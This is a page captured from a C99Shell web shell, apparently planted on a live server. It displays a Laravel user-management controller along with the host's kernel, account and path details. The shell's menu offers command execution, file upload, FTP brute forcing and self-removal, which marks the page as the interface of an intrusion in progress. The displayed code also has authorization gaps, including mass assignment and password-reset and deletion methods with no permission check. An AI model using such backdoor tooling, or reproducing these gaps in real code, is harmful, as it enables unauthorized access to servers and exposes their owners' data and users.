!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserController.php (34.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\CustomField;
use 
App\Models\Employee;
use 
App\Models\ExperienceCertificate;
use 
App\Models\GenerateOfferLetter;
use 
App\Models\JoiningLetter;
use 
App\Models\LoginDetail;
use 
App\Models\NOC;
use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\User;
use 
App\Models\UserToDo;
use 
App\Models\Utility;
use 
Auth;
use 
File;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Hash;
use 
Lab404\Impersonate\Impersonate;
use 
Spatie\Permission\Models\Role;

class 
UserController extends Controller
{

    public function 
index()
    {
        
$user \Auth::user();
        if (
\Auth::user()->can('manage user')) {
            if (
\Auth::user()->type == 'super admin') {
                
$users User::where('created_by''='$user->creatorId())->where('type''=''company')->with(['currentPlan'])->get();
            } else {
                
$users User::where('created_by''='$user->creatorId())->where('type''!=''client')->with(['currentPlan'])->get();
            }

            return 
view('user.index')->with('users'$users);
        } else {
            return 
redirect()->back();
        }

    }

    public function 
create()
    {

        
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();
        
$user \Auth::user();
        
$roles Role::where('created_by''='$user->creatorId())->where('name''!=''client')->get()->pluck('name''id');
        if (
\Auth::user()->can('create user')) {
            return 
view('user.create'compact('roles''customFields'));
        } else {
            return 
redirect()->back();
        }
    }

    public function 
store(Request $request)
    {
        
// dd($request->all());
        
DB::beginTransaction();

        if (
\Auth::user()->can('create user')) {
            
$default_language DB::table('settings')->select('value')->where('name''default_language')->where('created_by''='\Auth::user()->creatorId())->first();
            
$objUser \Auth::user()->creatorId();

            if (
\Auth::user()->type == 'super admin') {
                
$validator \Validator::make(
                    
$request->all(), [
                        
'name' => 'required|max:120',
                        
'email' => 'required|email|unique:users',
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();

                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$enableLogin 0;
                if (!empty(
$request->password_switch) && $request->password_switch == 'on') {
                    
$enableLogin 1;
                    
$validator \Validator::make(
                        
$request->all(), ['password' => 'required|min:6']
                    );

                    if (
$validator->fails()) {
                        return 
redirect()->back()->with('error'$validator->errors()->first());
                    }
                }
                
$userpassword $request->input('password');
                
$settings Utility::settings();

                
$user = new User();
                
$user['name'] = $request->name;
                
$user['email'] = $request->email;
                
$psw $request->password;
                
$user['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                
$user['type'] = 'company';
                
$user['default_pipeline'] = 1;
                
$user['plan'] = 1;
                
$user['lang'] = !empty($default_language) ? $default_language->value 'en';
                
$user['created_by'] = \Auth::user()->creatorId();
                
$user['plan'] = Plan::first()->id;
                if (
$settings['email_verification'] == 'off') {

                    
$user['email_verified_at'] = null;
                } else {
                    
$user['email_verified_at'] = date('Y-m-d H:i:s');
                }
                
$user['is_enable_login'] = $enableLogin;
                
$user->save();

                
$role_r Role::findByName('company');
                
$user->assignRole($role_r);

                
seedComanyUserPermission($user->id);

                
//                $user->userDefaultData();
                
$user->userDefaultDataRegister($user->id);
                
$user->userWarehouseRegister($user->id);

                
//default bank account for new company
                
$user->userDefaultBankAccount($user->id);

                
Utility::chartOfAccountTypeData($user->id);
                
// Utility::chartOfAccountData($user);
                // default chart of account for new company
                
Utility::chartOfAccountData1($user->id);

                
Utility::pipeline_lead_deal_Stage($user->id);
                
Utility::project_task_stages($user->id);
                
Utility::labels($user->id);
                
Utility::sources($user->id);
                
Utility::jobStage($user->id);
                
GenerateOfferLetter::defaultOfferLetterRegister($user->id);
                
ExperienceCertificate::defaultExpCertificatRegister($user->id);
                
JoiningLetter::defaultJoiningLetterRegister($user->id);
                
NOC::defaultNocCertificateRegister($user->id);
            } else {
                
$validator \Validator::make(
                    
$request->all(), [
                        
'name' => 'required|max:120',
                        
'email' => 'required|email|unique:users',
                        
//    'email' => 'required|email|unique:users,email,NULL,id,created_by,' . $objUser,
                        
'role' => 'required',
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$enableLogin 0;
                if (!empty(
$request->password_switch) && $request->password_switch == 'on') {
                    
$enableLogin 1;
                    
$validator \Validator::make(
                        
$request->all(), ['password' => 'required|min:6']
                    );

                    if (
$validator->fails()) {
                        return 
redirect()->back()->with('error'$validator->errors()->first());
                    }
                }

                
$companyUserPlan \App\Models\Plan::getPlan(\Auth::user()->show_dashboard());

                
$objUser User::find($objUser);
                
$user User::find(\Auth::user()->created_by);
                
$total_user $objUser->countUsers();
                
$plan Plan::find($objUser->plan);
                
$role_r Role::where('id'$request->role)->firstOrFail();
                
$role_name $role_r->name;
                
$availabe_users $objUser->count_user($role_name);
                
$userpassword $request->input('password');
                if((
\Auth::user()->creatorId()==&& $role_r->name=='driver')  || $role_name=='driver_'.\Auth::user()->creatorId()){

                        
$total_driversUser::where('type''driver')->where('created_by',\Auth::user()->creatorId())->count();
                        
$total_drivers=$total_drivers==0?0:$total_drivers 1;

                        if (
$companyUserPlan && $companyUserPlan->max_drivers != -&&  $companyUserPlan->max_drivers $total_drivers) {
                            
DB::rollBack();
                            return 
redirect()->back()->with('error'__('Your driver limit is over, Please upgrade plan.'));
                        }

                        
$psw $request->password;
                        
$request['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                        
$request['type'] = 'driver';
                        
$request['phone_number'] = $request->phone_number;
                        
$request['lang'] = !empty($default_language) ? $default_language->value 'en';
                        
$request['created_by'] = \Auth::user()->creatorId();
                        
$request['email_verified_at'] = date('Y-m-d H:i:s');
                        
$request['is_enable_login'] = $enableLogin;

                        
$user User::create($request->all());
                        
$user->assignRole($role_r);
                        if (
$request['type'] != 'client') {
                            
\App\Models\Utility::employeeDetails($user->id\Auth::user()->creatorId());
                        }

                }else if((
\Auth::user()->creatorId()==&& $role_r->name=='customer') || $role_name=='customer_'.\Auth::user()->creatorId()){

                        
$total_customersUser::where('type''customer')->where('created_by',\Auth::user()->creatorId())->count();
                        
$total_customers=$total_customers==0?0:$total_customers 1;

                        if (
$companyUserPlan && $companyUserPlan->max_customers != -&&  $companyUserPlan->max_customers $total_customers) {
                            
DB::rollBack();
                            return 
redirect()->back()->with('error'__('Your customer limit is over, Please upgrade plan.'));
                        }

                        
$psw $request->password;
                        
$request['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                        
$request['type'] = 'customer';
                        
$request['phone_number'] = $request->phone_number;
                        
$request['lang'] = !empty($default_language) ? $default_language->value 'en';
                        
$request['created_by'] = \Auth::user()->creatorId();
                        
$request['email_verified_at'] = date('Y-m-d H:i:s');
                        
$request['is_enable_login'] = $enableLogin;

                        
$user User::create($request->all());
                        
$user->assignRole($role_r);
                        if (
$request['type'] != 'client') {
                            
\App\Models\Utility::employeeDetails($user->id\Auth::user()->creatorId());
                        }


                    }else if((
\Auth::user()->creatorId()==&& $role_r->name=='blood_collector') || $role_name=='blood_collector_'.\Auth::user()->creatorId()){
                        
$total_blood_collectorsUser::where('type''blood_collector')->where('created_by',\Auth::user()->creatorId())->count();
                        
$total_blood_collectors=$total_blood_collectors==0?0:$total_blood_collectors 1;

                        if (
$companyUserPlan && $companyUserPlan->max_blood_collectors != -&&  $companyUserPlan->max_blood_collectors $total_blood_collectors) {
                            
DB::rollBack();
                            return 
redirect()->back()->with('error'__('Your Blood Collector limit is over, Please upgrade plan.'));
                        }
                        
$psw $request->password;
                        
$request['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                        
$request['type'] = 'blood_collector';
                        
$request['phone_number'] = $request->phone_number;
                        
$request['lang'] = !empty($default_language) ? $default_language->value 'en';
                        
$request['created_by'] = \Auth::user()->creatorId();
                        
$request['email_verified_at'] = date('Y-m-d H:i:s');
                        
$request['is_enable_login'] = $enableLogin;

                        
$user User::create($request->all());
                        
$user->assignRole($role_r);
                        if (
$request['type'] != 'client') {
                            
\App\Models\Utility::employeeDetails($user->id\Auth::user()->creatorId());
                        }
                    }else{
                    if (
$total_user $plan->max_users || $plan->max_users == -1) {
                        
$role_r Role::findById($request->role);
                        
$psw $request->password;
                        
$request['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                        
$request['type'] = removeNumberFromString($role_r->name);
                        
$request['lang'] = !empty($default_language) ? $default_language->value 'en';
                        
$request['created_by'] = \Auth::user()->creatorId();
                        
$request['email_verified_at'] = date('Y-m-d H:i:s');
                        
$request['is_enable_login'] = $enableLogin;

                        
$user User::create($request->all());
                        
$user->assignRole($role_r);
                        if (
$request['type'] != 'client') {
                            
\App\Models\Utility::employeeDetails($user->id\Auth::user()->creatorId());
                        }

                    } else {

                        
DB::rollBack();
                        return 
redirect()->back()->with('error'__('Your user limit is over, Please upgrade plan.'));
                    }
                }

                
// if()

                // if ($total_user < $plan->max_users || $plan->max_users == -1) {
                //     $role_r = Role::findById($request->role);
                //     $psw = $request->password;
                //     $request['password'] = !empty($userpassword)?\Hash::make($userpassword) : null;
                //     $request['type'] = $role_r->name;
                //     $request['lang'] = !empty($default_language) ? $default_language->value : 'en';
                //     $request['created_by'] = \Auth::user()->creatorId();
                //     $request['email_verified_at'] = date('Y-m-d H:i:s');
                //     $request['is_enable_login'] = $enableLogin;

                //     $user = User::create($request->all());
                //     $user->assignRole($role_r);
                //     if ($request['type'] != 'client') {
                //         \App\Models\Utility::employeeDetails($user->id, \Auth::user()->creatorId());
                //     }

                // } else {
                //     return redirect()->back()->with('error', __('Your user limit is over, Please upgrade plan.'));
                // }
            
}

            
DB::commit();

            
// Send Email
            
$setings Utility::settings();
            if (
$setings['new_user'] == 1) {

                
$user->password $psw;
                
$user->type $role_r->name;
                
$user->userDefaultDataRegister($user->id);

                
$userArr = [
                    
'email' => $user->email,
                    
'password' => $user->password,
                ];
                
$resp Utility::sendEmailTemplate('new_user', [$user->id => $user->email], $userArr);

                if (
\Auth::user()->type == 'super admin') {
                    return 
redirect()->route('users.index')->with('success'__('Company successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));
                } else {
                    return 
redirect()->route('users.index')->with('success'__('User successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '<br> <span class="text-danger">' $resp['error'] . '</span>' ''));

                }
            }
            if (
\Auth::user()->type == 'super admin') {
                return 
redirect()->route('users.index')->with('success'__('Company successfully created.'));
            } else {
                return 
redirect()->route('users.index')->with('success'__('User successfully created.'));

            }

        } else {
            return 
redirect()->back();
        }

    }
    public function 
show()
    {
        return 
redirect()->route('user.index');
    }

    public function 
edit($id)
    {
        
$user \Auth::user();
        
$roles Role::where('created_by''='$user->creatorId())->where('name''!=''client')->get()->pluck('name''id');
        if (
\Auth::user()->can('edit user')) {
            
$user User::findOrFail($id);
            
$user->customField CustomField::getData($user'user');
            
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();

            return 
view('user.edit'compact('user''roles''customFields'));
        } else {
            return 
redirect()->back();
        }

    }

    public function 
update(Request $request$id)
    {

        if (
\Auth::user()->can('edit user')) {
            if (
\Auth::user()->type == 'super admin') {
                
$user User::findOrFail($id);
                
$validator \Validator::make(
                    
$request->all(), [
                        
'name' => 'required|max:120',
                        
'email' => 'required|email|unique:users,email,' $id,
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first());
                }

                
//                $role = Role::findById($request->role);
                
$role Role::findByName('company');
                
$input $request->all();
                
$input['type'] = $role->name;

                
$user->fill($input)->save();
                
CustomField::saveData($user$request->customField);

                
$roles[] = $role->id;
                
$user->roles()->sync($roles);

                return 
redirect()->route('users.index')->with(
                    
'success''company successfully updated.'
                
);
            } else {
                
$user User::findOrFail($id);
                
$validator \Validator::make(
                    
$request->all(), [
                        
'name' => 'required|max:120',
                        
'email' => 'required|email|unique:users,email,' $id,
                        
// 'email' => 'required|email|unique:users,email,' . $id . ',id,created_by,' . \Auth::user()->creatorId(),
                        
'role' => 'required',
                    ]
                );
                if (
$validator->fails()) {
                    
$messages $validator->getMessageBag();
                    return 
redirect()->back()->with('error'$messages->first());
                }

                
$role Role::findById($request->role);
                
$input $request->all();
                
$input['type'] = removeNumberFromString($role->name);
                
$user->fill($input)->save();
                
Utility::employeeDetailsUpdate($user->id\Auth::user()->creatorId());
                
CustomField::saveData($user$request->customField);

                
$roles[] = $request->role;
                
$user->roles()->sync($role);

                return 
redirect()->route('users.index')->with(
                    
'success''User successfully updated.'
                
);
            }
        } else {
            return 
redirect()->back();
        }
    }

    public function 
destroy($id)
    {

        if (
\Auth::user()->can('delete user')) {
            if (
$id == 2) {
                return 
redirect()->back()->with('error'__('You can not delete By default Company'));
            }

            
$user User::find($id);
            if (
$user) {
                if (
\Auth::user()->type == 'super admin') {

                    
$users User::where('created_by'$id)->delete();
                    
$employee Employee::where('created_by'$id)->delete();

                    
$user->delete();

                    return 
redirect()->back()->with('success'__('Company Successfully deleted'));
                }

                if (
\Auth::user()->type == 'company') {
                    
$employee Employee::where(['user_id' => $user->id])->delete();
                    if (
$employee) {
                        
$delete_user User::where(['id' => $user->id])->delete();

                        if (
$delete_user) {
                            return 
redirect()->route('users.index')->with('success'__('User successfully deleted .'));
                        } else {
                            return 
redirect()->back()->with('error'__('Something is wrong.'));
                        }
                    } else {
                        return 
redirect()->back()->with('error'__('Something is wrong.'));
                    }
                }
                return 
redirect()->route('users.index')->with('success'__('User successfully deleted .'));
            } else {
                return 
redirect()->back()->with('error'__('Something is wrong.'));
            }
        } else {
            return 
redirect()->back();
        }
    }

    public function 
profile()
    {
        
$userDetail \Auth::user();
        
$userDetail->customField CustomField::getData($userDetail'user');
        
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();

        return 
view('user.profile'compact('userDetail''customFields'));
    }

    public function 
editprofile(Request $request)
    {
        
$userDetail \Auth::user();
        
$user User::findOrFail($userDetail['id']);

        
$validator \Validator::make(
            
$request->all(), [
                
'name' => 'required|max:120',
                
'email' => 'required|email|unique:users,email,' $userDetail['id'],
            ]
        );
        if (
$validator->fails()) {
            
$messages $validator->getMessageBag();
            return 
redirect()->back()->with('error'$messages->first());
        }

        if (
$request->hasFile('profile')) {
            
$filenameWithExt $request->file('profile')->getClientOriginalName();
            
$filename pathinfo($filenameWithExtPATHINFO_FILENAME);
            
$extension $request->file('profile')->getClientOriginalExtension();
            
$fileNameToStore $filename '_' time() . '.' $extension;

            
$settings Utility::getStorageSetting();
            if (
$settings['storage_setting'] == 'local') {
                
$dir 'uploads/avatar/';
            } else {
                
$dir 'uploads/avatar';
            }

            
$image_path $dir $userDetail['avatar'];

            if (
File::exists($image_path)) {
                
File::delete($image_path);
            }

            
$url '';
            
$path Utility::upload_file($request'profile'$fileNameToStore$dir, []);
            if (
$path['flag'] == 1) {
                
$url $path['url'];
            } else {
                return 
redirect()->route('profile'\Auth::user()->id)->with('error'__($path['msg']));
            }

//            $dir        = storage_path('uploads/avatar/');
//            $image_path = $dir . $userDetail['avatar'];
//
//            if(File::exists($image_path))
//            {
//                File::delete($image_path);
//            }
//
//            if(!file_exists($dir))
//            {
//                mkdir($dir, 0777, true);
//            }
//            $path = $request->file('profile')->storeAs('uploads/avatar/', $fileNameToStore);

        
}

        if (!empty(
$request->profile)) {
            
$user['avatar'] = $fileNameToStore;
        }
        
$user['name'] = $request['name'];
        
$user['email'] = $request['email'];
        
$user['phone_number'] = $request['phone_number'];
        
$user->save();
        
CustomField::saveData($user$request->customField);

        return 
redirect()->route('profile'$user)->with(
            
'success''Profile successfully updated.'
        
);
    }
    public function 
updateothers(Request $request){

        
$userDetail \Auth::user();
        
$user User::findOrFail($userDetail['id']);
        
$user['driver_language'] = $request['driver_language'];
        
$user['driver_record'] = $request['driver_record'];
        
$user['license_info'] = $request['license_info'];
        
$user['insurance_info'] = $request['insurance_info'];
        
$user->save();
        
CustomField::saveData($user$request->customField);

        return 
redirect()->route('profile'$user)->with(
            
'success''Details successfully updated.'
        
);
    }
    public function 
status(){
        
$userDetail \Auth::user();
        
$userDetail->customField CustomField::getData($userDetail'user');
        
$customFields CustomField::where('created_by''='\Auth::user()->creatorId())->where('module''=''user')->get();
        return 
view('user.status',compact('userDetail''customFields'));
    }
    public function 
updatestatus(Request $request){
        
$userDetail \Auth::user();
        
$user User::findOrFail($userDetail['id']);
        
$user['driver_status'] = $request['driver_status'];
        
$user->save();
        
CustomField::saveData($user$request->customField);
        return 
redirect()->route('profile'$user)->with(
            
'success''Status successfully updated.'
        
);
    }
    public function 
updatePassword(Request $request)
    {

        if (
Auth::Check()) {

            
$validator \Validator::make(
                
$request->all(), [
                    
'old_password' => 'required',
                    
'password' => 'required|min:6',
                    
'password_confirmation' => 'required|same:password',
                ]
            );
            if (
$validator->fails()) {
                
$messages $validator->getMessageBag();
                return 
redirect()->back()->with('error'$messages->first());
            }

            
$objUser Auth::user();
            
$request_data $request->All();
            
$current_password $objUser->password;
            if (
Hash::check($request_data['old_password'], $current_password)) {
                
$user_id Auth::User()->id;
                
$obj_user User::find($user_id);
                
$obj_user->password Hash::make($request_data['password']);
                
$obj_user->save();

                return 
redirect()->route('profile'$objUser->id)->with('success'__('Password successfully updated.'));
            } else {
                return 
redirect()->route('profile'$objUser->id)->with('error'__('Please enter correct current password.'));
            }
        } else {
            return 
redirect()->route('profile'\Auth::user()->id)->with('error'__('Something is wrong.'));
        }
    }
    
// User To do module
    
public function todo_store(Request $request)
    {
        
$request->validate(
            [
'title' => 'required|max:120']
        );

        
$post $request->all();
        
$post['user_id'] = Auth::user()->id;
        
$todo UserToDo::create($post);

        
$todo->updateUrl route(
            
'todo.update', [
                
$todo->id,
            ]
        );
        
$todo->deleteUrl route(
            
'todo.destroy', [
                
$todo->id,
            ]
        );

        return 
$todo->toJson();
    }

    public function 
todo_update($todo_id)
    {
        
$user_todo UserToDo::find($todo_id);
        if (
$user_todo->is_complete == 0) {
            
$user_todo->is_complete 1;
        } else {
            
$user_todo->is_complete 0;
        }
        
$user_todo->save();
        return 
$user_todo->toJson();
    }

    public function 
todo_destroy($id)
    {
        
$todo UserToDo::find($id);
        
$todo->delete();

        return 
true;
    }

    
// change mode 'dark or light'
    
public function changeMode()
    {
        
$usr \Auth::user();
        if (
$usr->mode == 'light') {
            
$usr->mode 'dark';
            
$usr->dark_mode 1;
        } else {
            
$usr->mode 'light';
            
$usr->dark_mode 0;
        }
        
$usr->save();

        return 
redirect()->back();
    }

    public function 
upgradePlan($user_id)
    {
        
$user User::find($user_id);
        
$plans Plan::get();
        
$admin_payment_setting Utility::getAdminPaymentSetting();

        return 
view('user.plan'compact('user''plans''admin_payment_setting'));
    }
    public function 
activePlan($user_id$plan_id)
    {

        
$plan Plan::find($plan_id);
        if(
$plan->is_disable == 0)
        {
            return 
redirect()->back()->with('error'__('You are unable to upgrade this plan because it is disabled.'));
        }

        
$user User::find($user_id);
        
$assignPlan $user->assignPlan($plan_id);
        if (
$assignPlan['is_success'] == true && !empty($plan)) {
            
$orderID strtoupper(str_replace('.'''uniqid(''true)));
            
Order::create(
                [
                    
'order_id' => $orderID,
                    
'name' => null,
                    
'card_number' => null,
                    
'card_exp_month' => null,
                    
'card_exp_year' => null,
                    
'plan_name' => $plan->name,
                    
'plan_id' => $plan->id,
                    
'price' => $plan->price,
                    
'price_currency' => isset(\Auth::user()->planPrice()['currency'])?\Auth::user()->planPrice()['currency'] : '',
                    
'txn_id' => '',
                    
'payment_status' => 'success',
                    
'receipt' => null,
                    
'user_id' => $user->id,
                ]
            );

            return 
redirect()->back()->with('success''Plan successfully upgraded.');
        } else {
            return 
redirect()->back()->with('error''Plan fail to upgrade.');
        }

    }

    public function 
userPassword($id)
    {
        
$eId \Crypt::decrypt($id);
        
$user User::find($eId);

        return 
view('user.reset'compact('user'));

    }

    public function 
userPasswordReset(Request $request$id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                
'password' => 'required|confirmed|same:password_confirmation',
            ]
        );

        if (
$validator->fails()) {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }

        
$user User::where('id'$id)->first();
        
$user->forceFill([
            
'password' => Hash::make($request->password),
            
'is_enable_login' => 1,
        ])->
save();

        if(
\Auth::user()->type == 'super admin')
        {
        return 
redirect()->route('users.index')->with(
            
'success''Company Password successfully updated.'
        
);
    }
    else
    {
        return 
redirect()->route('users.index')->with(
            
'success''User Password successfully updated.'
        
);
    }

    }

    
//start for user login details
    
public function userLog(Request $request)
    {
        
$filteruser User::where('created_by'\Auth::user()->creatorId())->get()->pluck('name''id');
        
$filteruser->prepend('Select User''');

        
$query DB::table('login_details')
            ->
join('users''login_details.user_id''=''users.id')
            ->
select(DB::raw('login_details.*, users.id as user_id , users.name as user_name , users.email as user_email ,users.type as user_type'))
            ->
where(['login_details.created_by' => \Auth::user()->id]);

        if (!empty(
$request->month)) {
            
$query->whereMonth('date'date('m'strtotime($request->month)));
            
$query->whereYear('date'date('Y'strtotime($request->month)));
        } else {
            
$query->whereMonth('date'date('m'));
            
$query->whereYear('date'date('Y'));
        }

        if (!empty(
$request->users)) {
            
$query->where('user_id''='$request->users);
        }
        
$userdetails $query->get();
        
$last_login_details LoginDetail::where('created_by'\Auth::user()->creatorId())->get();

        return 
view('user.userlog'compact('userdetails''last_login_details''filteruser'));
    }

    public function 
userLogView($id)
    {
        
$users LoginDetail::find($id);

        return 
view('user.userlogview'compact('users'));
    }

    public function 
userLogDestroy($id)
    {
        
$users LoginDetail::where('user_id'$id)->delete();
        return 
redirect()->back()->with('success''User successfully deleted.');
    }

    public function 
LoginWithCompany(Request $requestUser $user$id)
    {
        
$user User::find($id);
        if (
$user && auth()->check()) {
            
Impersonate::take($request->user(), $user);
            return 
redirect('/account-dashboard');
        }
    }

    public function 
ExitCompany(Request $request)
    {
        
\Auth::user()->leaveImpersonation($request->user());
        return 
redirect('/dashboard');
    }

    public function 
companyInfo(Request $request$id)
    {
        
$user User::find($request->id);
        
$status $user->delete_status;
        
$userData User::where('created_by'$id)->where('type''!=''client')->selectRaw('COUNT(*) as total_users, SUM(CASE WHEN is_disable = 0 THEN 1 ELSE 0 END) as disable_users, SUM(CASE WHEN is_disable = 1 THEN 1 ELSE 0 END) as active_users')->first();

        return 
view('user.company_info'compact('userData''id''status'));
    }

    public function 
userUnable(Request $request)
    {
        
User::where('id'$request->id)->update(['is_disable' => $request->is_disable]);
        
$userData User::where('created_by'$request->company_id)->where('type''!=''client')->selectRaw('COUNT(*) as total_users, SUM(CASE WHEN is_disable = 0 THEN 1 ELSE 0 END) as disable_users, SUM(CASE WHEN is_disable = 1 THEN 1 ELSE 0 END) as active_users')->first();

        if (
$request->is_disable == 1) {

            return 
response()->json(['success' => __('User successfully unable.'), 'userData' => $userData]);

        } else {
            return 
response()->json(['success' => __('User successfully disable.'), 'userData' => $userData]);
        }
    }

    public function 
LoginManage($id)
    {
        
$eId \Crypt::decrypt($id);
        
$user User::find($eId);
        
$authUser \Auth::user();

        if (
$user->is_enable_login == 1) {
            
$user->is_enable_login 0;
            
$user->save();

            if(
$authUser->type == 'super admin')
            {
                return 
redirect()->back()->with('success'__('Company login disable successfully.'));
            }
            else
            {
                return 
redirect()->back()->with('success'__('User login disable successfully.'));
            }
        } else {
            
$user->is_enable_login 1;
            
$user->save();
            if(
$authUser->type == 'super admin')
            {
                return 
redirect()->back()->with('success'__('Company login enable successfully.'));
            }
            else
            {
                return 
redirect()->back()->with('success'__('User login enable successfully.'));
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0062 ]--